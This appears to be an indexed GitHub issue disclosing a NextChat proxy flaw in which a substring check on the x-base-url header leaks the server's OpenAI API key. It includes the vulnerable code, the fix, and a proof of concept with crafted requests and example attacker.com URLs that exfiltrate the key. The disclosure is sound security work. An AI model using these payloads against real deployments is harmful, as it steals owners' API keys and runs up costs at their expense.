ChatGPTNextWeb / ChatGPTNextWeb/NextChat

Server OpenAI API Key Exfiltration via Incomplete URL Substring Check in Proxy Handler

Open
#6,814 2 comments 1 reaction 0 assignees View on GitHub
bug
Dominant language
TypeScript
Stars
88.8k
Forks
59.1k
PR merge metrics
No merged PRs in 30d

Description

### πŸ“¦ Deployment Method

Docker

### πŸ“Œ Version

v2.16.1

### πŸ’» Operating System

Other

### πŸ“Œ System Version

-

### 🌐 Browser

Other

### πŸ“Œ Browser Version

-

### πŸ› Bug Description

reported on 2 June 2026 https://github.com/ChatGPTNextWeb/NextChat/security/advisories/GHSA-rfph-4473-623x - no response

### Summary

The proxy handler in `app/api/proxy.ts` uses a substring check (`baseUrl?.includes("api.openai.com")`) to decide whether to inject the server's configured `OPENAI_API_KEY` into outbound request headers. Because the check is a plain string containment test rather than URL hostname comparison, an attacker can supply any URL that contains `api.openai.com` as a query parameter or path component (e.g., `http://attacker.com?q=api.openai.com`) to cause the server to inject its API key and forward it to the attacker-controlled host. No authentication is required.

### Details

`app/api/proxy.ts` contains the following logic (lines 37-46):

```typescript
const baseUrl = req.headers.get("x-base-url");
if (baseUrl?.includes("api.openai.com")) {
if (!serverConfig.apiKey) {
return NextResponse.json(
{ error: "OpenAI API key not configured" },
{ status: 500 },
);
}
headers.set("Authorization", `Bearer ${serverConfig.apiKey}`);
}
```

The intent is to inject the server's OpenAI API key when the request is destined for the real OpenAI API. However, `String.prototype.includes()` checks for substring occurrence anywhere in the string. As a result, any of the following values for `x-base-url` satisfy the check while pointing to an attacker-controlled host:

- `http://attacker.com?q=api.openai.com`
- `http://attacker.com/path/api.openai.com/anything`
- `http://attacker.com#api.openai.com`

The proxy handler then makes a server-side request to the attacker-controlled URL with the header `Authorization: Bearer `. The attacker receives the server's real API key.

This is compounded by the absence of any authentication check in `proxy.ts`: neither an access code nor a user-supplied API key is required.

The correct check would compare the parsed hostname of the URL:

```typescript
const parsedUrl = new URL(baseUrl);
if (parsedUrl.hostname === "api.openai.com") { ... }
```

CodeQL query `js/incomplete-url-substring-sanitization` independently flags this code path.

### PoC

Prerequisites: a running NextChat instance with `OPENAI_API_KEY` configured and `yidadaa/chatgpt-next-web:latest` Docker image. `CODE` environment variable may be set; it does not affect this route.

Start a listener that logs incoming headers:

```bash
# Flask listener (logs full headers in response body)
python3 -m flask run --host=0.0.0.0 --port=9999
```

Or any HTTP server that returns the received headers in the response body.

Send an unauthenticated request with a crafted `x-base-url`:

```
GET /api/anyprov/testpath HTTP/1.1
Host: :3000
x-base-url: http://:9999?q=api.openai.com
```

The attacker's server receives:

```json
{
"headers": {
"Authorization": "Bearer sk-proj-",
"Host": ":9999",
...
},
"path": "/",
"ssrf": "confirmed"
}
```

Live validation was performed on commit 89b8f26 (v2.16.1). The configured API key `sk-test-dummy-key-for-ssrf-research` appeared verbatim in the `Authorization` header received at the attacker-controlled Flask server.

### Impact

An unauthenticated attacker can steal the deployment's `OPENAI_API_KEY` by sending a single HTTP request with a crafted `x-base-url` header. With the key they can make arbitrary OpenAI API calls at the deployment owner's expense. Access-code protection does not mitigate this, as `proxy.ts` performs no authentication.

This affects any NextChat deployment that has `OPENAI_API_KEY` configured, which is the normal configuration for self-hosted instances.

### πŸ“· Recurrence Steps

_No response_

### 🚦 Expected Behavior

_No response_

### πŸ“ Additional Information

_No response_

Contributor guide

No contributing guide indexed for this repository

Research direction

Start in app/api/proxy.ts, especially the handler around the x-base-url check and Authorization header injection. Reproduce the crafted URL behavior described in the issue, then verify that only the real OpenAI hostname receives the configured key and attacker-controlled URLs do not. No test file is named in the report.

Written by the indexing model from the issue text.

Assessment

Tech stack
nextjs, typescript
Domain
api, backend, security
Issue type
Bug
Difficulty
2/5
Estimated time
1-3 hours
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
48/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.